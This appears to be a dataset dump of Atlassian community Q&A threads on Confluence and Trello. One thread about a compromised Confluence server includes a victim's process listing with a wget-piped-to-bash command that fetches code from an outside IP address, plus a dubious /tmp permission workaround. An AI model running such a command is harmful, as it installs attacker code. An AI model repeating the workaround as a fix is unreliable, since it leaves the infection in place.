youngmon/atlassian-qna huggingface dataset:
Can I upgrade an expired Server license to Data Center without getting a Server Trial license?
Asked by Calvert Quist:

Hi,

We are in the process of migrating from our old expired server license to a new Data Center license that we have already purchased. Old server is on 5.10.4 and I want to get to 7.4.5

In QA I did the following steps

1) Change expired Server license to Trial Server License.

2) Upgrade Confluence server from 5.10.4 to 7.4.5, which is allowed because I'm using the trial license.

3) Switch Trial Server license to new Data Center License

4) Everything worked

However now I'm going to upgrade production and there are no server trial licenses anymore. I'd like to follow the exact same steps I did in QA so as not to introduce more variables. If getting a new server trial license is no longer an options how should I proceed with the production upgrade?


Answers:
author: Pavel Junek
body: Hi Calvert,

Try to create a ticket in <https://support.atlassian.com> and describe your situation. I think they will generate another trial license for you because you have purchased a Data Center :)

Pavel

comments: author: Calvert Quist
body: I contacted them and they did provide the trial license I needed to get upgraded in Production and back into support. Thanks.


Tags: confluence-server

server
Why doesn't Confluence save unpublished edits sometimes?
Asked by Markus Zhang:

Hi friends, my Chrome has a quirk that will immediately crash whenever I hit the Print button.

So I edited a Confluence page for 3+ hours but when I recovered the page it's at its initial state. Morever the location is at the root, instead of under another page which I setup initally.

Confluence seems to be able to recover most of unsaved edits but this is one case that it fails to do so. Do you know the reason? Is there a way to ask the Admin to debug it?

I found it as a good example of Murphy's law, however careful I am and however often I usually save my edits, usually one ignorance will leave a huge impact. Is there a way to enable automatic saves?

Thank you!


Answers:
author: Vero Rivas
body: Hi [@Markus Zhang](/t5/user/viewprofilepage/user-id/4299772)

Look at this post, maybe can help you

<https://community.atlassian.com/t5/Confluence-questions/Unpublished-Changes-Auto-Saving/qaq-p/1409742>

Cheers


author: Markus Zhang
body: Nevermind friends, I found it in drafts. What confused me is that when I re-opened Chrome, and navigated to the same tab, it showed me the initial version of that page (with wrong location).

Anyway I'm very happy now! 3 hours of work saved!


Tags: confluence-server

server
Adding Prefix/Postfix to all Page titles in a directory structure
Asked by Mark Stephan:

**The SITUATION:**

So we merged with a company and need to merge their confluence knowledge base with ours, so we have one KB to rule them all.

Sadly, they made every version of a product in their own space. We have all of our KB on one space, so I need to migrate all their spaces into our **one** space KB.

**THE PROBLEM:**

Every space they have has all the pages of the same name. They simply duplicated the space, made edits to it, and named the space that version. Interesting way to do it, but not how we want to do it. We give clients access to only one space.

As we know, confluence needs to have **Unique Page titles.** (ugh). I exported the Spaces to be migrated to XML, imported it to my Confluence. But I cannot move the pages to the space that is our KB because **the names conflict with pages with the same name.**

**THE NEED:**

How do I en-masse at a PREFIX/POSTFiX to all the pages i.e. the version number. So page title, "Features Guide" would become "Features Guide 4.0.2.1" thus making it unique and representing the version.

I have 15 spaces to convert and over 100 pages in each space that would need to be renamed, so manual isn't something I want to do.

Thoughts?


Answers:
author: Martin Bayer _MoroSystems_ s_r_o__
body: Hi [@Mark Stephan](/t5/user/viewprofilepage/user-id/4299684) , welcome on the community. I think you can use **Copy** function.

When you use **Copy** on parent page, following dialog is displayed (in second step):

![Selection_161.png](https://community.atlassian.com/t5/image/serverpage/image-id/133918i29F399096AD4C2CB/image-size/large?v=v2&px=999 "Selection_161.png")

So you can at add "Prefix" when you use **Start titles with** field...

comments: author: Mark Stephan
body: OMG, you're awesome and saved me a life of manual frustration! Thank you!


author: Stavros_Rougas_EasyApps
body: [@Mark Stephan](/t5/user/viewprofilepage/user-id/4299684) if you have since posting this moved to the cloud you can bulk add title prefix and suffix (plus other things like find and replace) with [Space Content Manager](https://marketplace.atlassian.com/apps/1226657).


Tags: confluence-server

server
change space key
Asked by me:

### Hi {#toc-hId-1227614864}

I want to change space key and keep authors and dates ...

some people suggest this macro "Copy Space for Confluence"

[https://marketplace.atlassian.com/apps/212/copy-space-for-confluence?hosting=server\&tab=overview](https://marketplace.atlassian.com/apps/212/copy-space-for-confluence?hosting=server&tab=overview)

but give this error when i try to copy space:

### Cause {#toc-hId--579839599}

java.lang.NullPointerException  
at com.atlassian.confluence.plugin.copyspace.DefaultLabelCopier.copyLabels(DefaultLabelCopier.java:28)

#### Stack Trace:\[hide\] {#toc-hId-110721875}

```
java.lang.NullPointerException	at com.atlassian.confluence.plugin.copyspace.DefaultLabelCopier.copyLabels(DefaultLabelCopier.java:28)	at com.atlassian.confluence.plugin.copyspace.DefaultLabelCopier.copySpaceLabels(DefaultLabelCopier.java:21)	at com.atlassian.confluence.plugin.copyspace.DefaultCopySpaceManager.copySpace(DefaultCopySpaceManager.java:97)	at com.atlassian.confluence.plugin.copyspace.actions.DoCopySpaceAction.execute(DoCopySpaceAction.java:61)	at
```


Answers:
author: Dominic Lagger
body: Hi [@me](/t5/user/viewprofilepage/user-id/2563778)

Which confluence server version do you have and which versio nof the app do you have?

comments: author: me
body: 7.10


author: Dominic Lagger
body: Okay, seems to be a problem with the plugin.

You can ask the atlassian support here: <https://support.atlassian.com/>

Another Plugin (not free) would be Scriptrunner or Space Admin Browser.

Regards, Dominic


Tags: confluence-server

copy

server

space
Confluence. CPU at 100% in "/tmp/.libs" binary
Asked by Iv?n Dominguez:

Hello, I have a Conflunece 6 on my own server, and sometimes a file /tmp/.libs created by confluence have the CPU at 100%.

I explore the binary and see it's a en elf executable and the file size is about 2 MB. I think it is any kind of java subsystem binary cache or the result of Java's AOT.

Stoping confluence and deleting it will regenerate when confluence starts again, first with small size, but over the time it gets bigger.

How Can I do to get less CPU usage?.

My confluence installation does not have any external plugin/extension except the Cloud migration tool.

Thanks.


Answers:
author: alx_th
body: Bad news. Just checked on my installation and this is true.

<https://therecord.media/confluence-enterprise-servers-targeted-with-recent-vulnerability/>

comments: author: Nalin Kularathna
body: Hi,

thanks for informing. do you know any thing we can do for this issue. They are deploying some binary files whenever possible locations which has access to confluence user. I restricted all the places which has access by confluence user. After that it is running below things again and again.

conflue+ 26417 26416 0 18:58 ? 00:00:00 /bin/sh -c wget -q -O - http://1  
conflue+ 26418 26417 0 18:58 ? 00:00:00 wget -q -O - <http://195.3.146.11>  
conflue+ 26419 26417 0 18:58 ? 00:00:00 bash  
root 26426 1006 0 18:59 ? 00:00:00 CRON

thanks,


author: alx_th
body: They already have a patch for this vulnerability: <https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md>


author: alx_th
body: After apply patch you need to delete all artifacts (installed apps/modified files) manually. Please check home directory of atlassian user


author: Balu Thodupoonuri
body: Hi Team,

Same issue here /tmp/.inis and /tmp/.libs files are eating 100% CPU and more into blogs, I found its malware inject and scanned for files using clamscan... I found files in the /tmp folder and deleted. Still when I delete the above .inis and .libs files they are re-creating it.

Please can you provide a solution for this. we use confluence 6.12.2.

comments: author: Nalin Kularathna
body: Hi team,  
I also have same issue. please provide a solution for this. I deleted all files in tmp folder but they are still creating files and running them.


author: Nalin Kularathna
body: I temporary changed the tmp folder permission to 755. so only root can write to the tmp directory now.


Tags: confluence-server

server
Confluence Search: why can't I get clear/comprehensive information on how it works?
Asked by Bill Rudy:

The best I have found to date is here:

<https://confluence.atlassian.com/confkb/how-do-i-understand-the-ranking-of-confluence-s-search-results-785614686.html>

But if you follow their "Explain action" instructions, you get some query-ish mess of code that is unclear and leaves numerous questions unanswered.

The page is also woefully out of date (2016 vintage - if only this were wine!)

I get that there are many many requests for this or that, but frankly it's unbelievable to me that this information is not readily available for any given version. If anyone knows of something better tucked away somewhere, please share.

ETA: when I ran the "Explain action" from the link above, here in essence is what I got:

* 56% title
* 28% content name
* 16% content body

Can anyone confirm what "content name" and "content body" translate to exactly? Body would seem to indicate just that, the body of the page, but you know what they say, never assume....and what's the diff between "title" and "content name?"


Answers:
author: Fabian Lim
body: Very interesting topic never knew about the explain action details.

Hopefully someone from atlassian can get back to you.

I'm just happy I can find the pages that I need without knowing all the details on how it worked.

Regards

comments: author: Bill Rudy
body: Thanks, but nothing as yet. Labels and how recently the page was updated factor in to a degree as well, but it's anyone's guess how much.

I don't need exact numbers like above, but even a general idea of what factors in and how heavily would be helpful.


Tags: search

server
How do I create a new space in confluence?
Asked by kieran.mckenna:

Hi there! New to Confluence and trying to create a new space for my team to work in. Not sure how to do that though. Thanks!


Answers:
author: Kristin Lyons
body: You'll need to have the create space global permission enabled first, if you don't already have it you'll need to get with your Confluence administrator. If you do have it enabled then you can follow the steps outlined in these links. The first link is for creating a blank space, and the second link is for creating a template space. I personally like template spaces because you can use it for ideas on how to get started.

<https://support.atlassian.com/confluence-cloud/docs/create-a-blank-space/>

<https://support.atlassian.com/confluence-cloud/docs/create-a-space-from-a-template/>

comments: author: Birgit Mannel
body: How can I get a *Personal Space* global permission? Who is my Confluence administator?


author: Kristin Lyons
body: I wouldn't know who your Confluence administrator is, is there someone in your organization that you could reach out to?


Tags: cloud

new-to-confluence
activeobjects.xml file missing in backup
Asked by Jobin Jose:

I am exporting backup of confluence from cloud to import in to a datacenter setup hosted in Azure. I see only 2 xml files, entities.xml and exportDescriptor.properties and an attachment folder that contain many subfolders. The import fails with "invalid byte 2 of 4-byte UTF-8" error.

I followed this article <https://confluence.atlassian.com/jira/removing-invalid-characters-from-xml-backups-12079.html> but it says there will be an activeobjects.xml file but I do not see it in the backed up zip file. Can someone help me where I can find this file?


Answers:
author: Brant Schroeder
body: Glad to hear it was resolved.


author: Brant Schroeder
body: [@Jobin Jose](/t5/user/viewprofilepage/user-id/3223043) Did you follow the steps here: <https://support.atlassian.com/confluence-cloud/docs/migrate-from-confluence-cloud-to-server/>

comments: author: Jobin Jose
body: [@Brant Schroeder](/t5/user/viewprofilepage/user-id/769100) I do not remember how this was fixed but we have a working setup now after so many trials and errors. Thanks for following up anyways.


Tags: cloud

confluence-cloud
All day tasks from Calendar Power-up
Asked by Alexis:

Rather than have due dates at a set-time, I'd prefer they be "all-day" and show up at the top of my calendar. I can't see a way to do this. Is there?

While I'm asking, is there a way to edit a calendar entry once it comes over (as far as I can tell, there isn't).

Thanks!


Answers:
author: Jodi LeBlanc
body: Hi [@Alexis](/t5/user/viewprofilepage/user-id/1192711) - when you say calendar entry once it comes over, do you mean can you edit it after the date has passed?

Jodi

comments: author: Alexis
body: No. I was hoping to try and make the due date and all day event rather than set it a certain time. One possible option was to edit it the Outlook 360 calendar as it doesn't appear there is an option for "all day event" in the calendar app itself.

Thanks.
My Trello boards are gone but only on my account. Team can still see them
Asked by Charles Seegel:

Is this a sign in issue? It looks like my username changed as well and it required a new verification of my email but any changes I made in the last month are gone (no team, no active boards, nothing) but my team still sees those boards and updates as if nothing happened.

Any idea how to resolve this?


Answers:
author: Jodi LeBlanc
body: Hi [@Charles Seegel](/t5/user/viewprofilepage/user-id/1314617) - very sorry to hear this. Are you able to clear your Internet browsing cache? Let me know if that helps with the problem.

Talk to you soon,

Jodi

comments: author: Jodi LeBlanc
body: Hi [@Charles Seegel](/t5/user/viewprofilepage/user-id/1314617) - did your changes reappear after clearing cache?


author: Charles Seegel
body: No, the problem still persists. Is it possible that I have a new user ID associated with the email? When I look at my team members page that can still see me, they seems to have a different user ID for me but it is not clear since it doesn't say what my user name is on their page explicitly.

Thanks for taking the time to help!


author: Jodi LeBlanc
body: Hi [@Charles Seegel](/t5/user/viewprofilepage/user-id/1314617) - just checking in to see if this has since been resolved.  
Jodi
Trello Windows 10 App out of sync?
Asked by Max Bacon:

Hello there,

I am not sure if this is windows not updating the app, or the app is just lacking updates for quite a while, what is the latest version of the windows store app?

I notice things like the notifications are not in sync with how Trello displays them now on the web, still using the old method, so I'm not sure if this is the app just being outdated and out of sync with the web.

Max


Answers:
author: Crystal Davis
body: Hi Max,

Crystal from Trello Support here!

We're rolling out the release of the new home page and notifications slowly over the next few days, so hang in there, it won't be long before it's enabled for desktop.  

In the meantime, you can read more about Trello home and what's different here: <https://help.trello.com/article/1119-the-home-page>

Have a fantastic day!

comments: author: Max Bacon
body: Thanks, also I would assume Trello Home is not released yet? Because clicking it as it describes on the web just displays the normal boards page.
Is there a limit to the amount of users on the business class option?
Asked by Sarah Howley:

I can't see a maximum number of users anywhere but I don't want to purchase a paid plan without ensuring all of my team can access Trello. Please could you let me know what the maximum number is?

Thanks


Answers:
author: Jodi LeBlanc
body: Hi [@Sarah Howley](/t5/user/viewprofilepage/user-id/1312594), there is no limit for business class. It is $9.99 per user/month (when paid annually)  
<https://trello.com/pricing>  
Let me know if you have other questions.  
Thanks,  
Jodi

comments: author: Jodi LeBlanc
body: Hi [@Sarah Howley](/t5/user/viewprofilepage/user-id/1312594) did this answer your question, or do you have additional questions?  
Thanks and talk to you soon,

Jodi
Best time tracking and invoicing solution for Trello
Asked by Erica Wheeler:

I would like to track time on lists in Trello and then be able to invoice based on that time. Anyone using integrations that are awesome? I'd be very thankful for some direction on getting the right combination. On a budget so pricing is very important. Free or inexpensive is a must for me at this stage. Thanks!


Answers:
author: Jodi LeBlanc
body: Hi [@Erica Wheeler](/t5/user/viewprofilepage/user-id/1311068) - Harvest helps your team track time and then turn that data into insightful reports that shine a light on your projects. You can track time right from your Trello cards using the Harvest Power-Up.

Here are the details:

<https://blog.trello.com/trello-harvest-integration>

There is a 30 day free trial so you can check it out before committing.

Hope this helps,

Jodi


author: Genti Tola
body: [Card Time In List](https://trello.com/power-ups/6211e70cf500cc8f17546a80/card-time-in-list-by-gtola) by GTOLA provides all of the following at a fraction(at least 3 times cheaper) of what competition is charging:  

- duration[visual insights](https://www.gtola.com/simple-duration-reports-in-trello/) through the card badges  

- [automatic time-tracking](https://www.gtola.com/automatic-time-tracking-for-trello/)  

- reports, exports and[much more](https://www.gtola.com/card-time-in-list-for-trello/)!


author: George
body: We created a time tracker for this exact problem, it's called Rotor, version 2 is in beta right now check it out here: <https://rotor.to>

comments: author: Marta Kostova
body: It looks similar to what we've developed to fix the exact same problem as [@Erica Wheeler](/t5/user/viewprofilepage/user-id/1311068) It is called [Assista](https://assista.io/) and can be found in [Trello's Power-Ups listing.](https://trello.com/power-ups/5d08f7411eb5f14a8d144acb)  

Assista can export all the data in .xls so additional transformations are very easy.  
We use it in [Camplight](https://camplight.net/) to invoice our clients as we work on an hours basis.  

Cheers! :)


author: Monika
body: Hi, we are working with [zistemo](https://zistemo.com/trello-time-tracking-with-zistemo/) which is incredibly simple but powerful.  
I assume we tried them all but we always missed easy to manage timesheets without switching between Apps. [Zistemo](https://zistemo.com/trello-time-tracking-with-zistemo/) has a easy to understand visual feedback and you are able to manage and edit your timesheets inside Trello.  
Monika

![Screenshot 2019-06-27 13.05.31.png](https://community.atlassian.com/t5/image/serverpage/image-id/58976i06E264D06586E984/image-size/large?v=v2&px=999 "Screenshot 2019-06-27 13.05.31.png")

comments: author: Erica Wheeler
body: Thanks so much! This might be exactly what I was looking for!


Tags: billing

time-tracking
How to Allow Guests/Team-members to see only those cards that they are a member of (assigned to them
Asked by Thomas Adams:

I have a Trello board with multiple lists and tasks each designated to outside contractors. I don't want to setup multiple boards for each because the project is not too big and to avoid overwhelm.

I want to invite members and guests but want them to only see those cards which they are a member of.

How?


Answers:
author: Peter Pitcher
body: Has this changed in the last 3 years? It would be incredibly helpful!


author: Matthew N
body: Hi Thomas

At this time, anyone who is a member of the board will be able to view and edit all of the lists or cards on the board. Any observers on the board will be able to view all of the lists or cards on the board.

So, you'll need to have separate boards if you need privacy

comments: author: Thomas Adams
body: Thank you Matthew.

This is slightly detract-topic: I have a board which has a guest. But this guest can change the due date.

I read that guests (observers) can't edit cards.. is changing due dates not established to be a editing cards act?


author: Matthew N
body: They may be able to make adjustments, but the changes shouldn't be saved. So when they make changes, they should not show on other people's side and if they refresh, the changes should revert.
FEATURE: Card List Next to Calendar
Asked by M Ong:

Hi,

Just wondering whether Trello have the feature to display card list next to calendar for us to drag and drop particular card to specific date for its due date?

Please see the attached picture for illustration.

Thank you.

Melvin![Trello Calendar.jpg](/t5/image/serverpage/image-id/20902i156A3FDA9A79F311/image-size/large?v=v2&px=999 "Trello Calendar.jpg")


Answers:
author: Jodi LeBlanc
body: Looks very useful [@M Ong](/t5/user/viewprofilepage/user-id/1310954) - you can make any feature requests by writing to [feature-ideas@trello.com](mailto:feature-ideas@trello.com)

Have a great day!

Jodi
Is there a way to add a power up to a list?
Asked by Vanessa King:

Hello!

I was wondering if there was a way to add a power up to an overall list?

For example, I have a list of content ideas and want to add the Google Drive Power Up to the overall list so I can refer to it. It seems that I can only do this under each individual card. Is this a capability under the Gold or Business account?

Thank you!


Answers:
author: marc -Collabello--Phase Locked-
body: Hi [@Vanessa King](/t5/user/viewprofilepage/user-id/1309058),

When you add a Power-Up, the Power-Up is added to the board (and thus to all cards and lists).

As I understand, you want to refer to the same Google Drive folder from all cards in a list? What you could do is to insert a link to the Google Drive folder in the card. With that, you can directly click through to the Google Drive folder (and no Power-Up needed). This only works if you are are alredy logged into Google.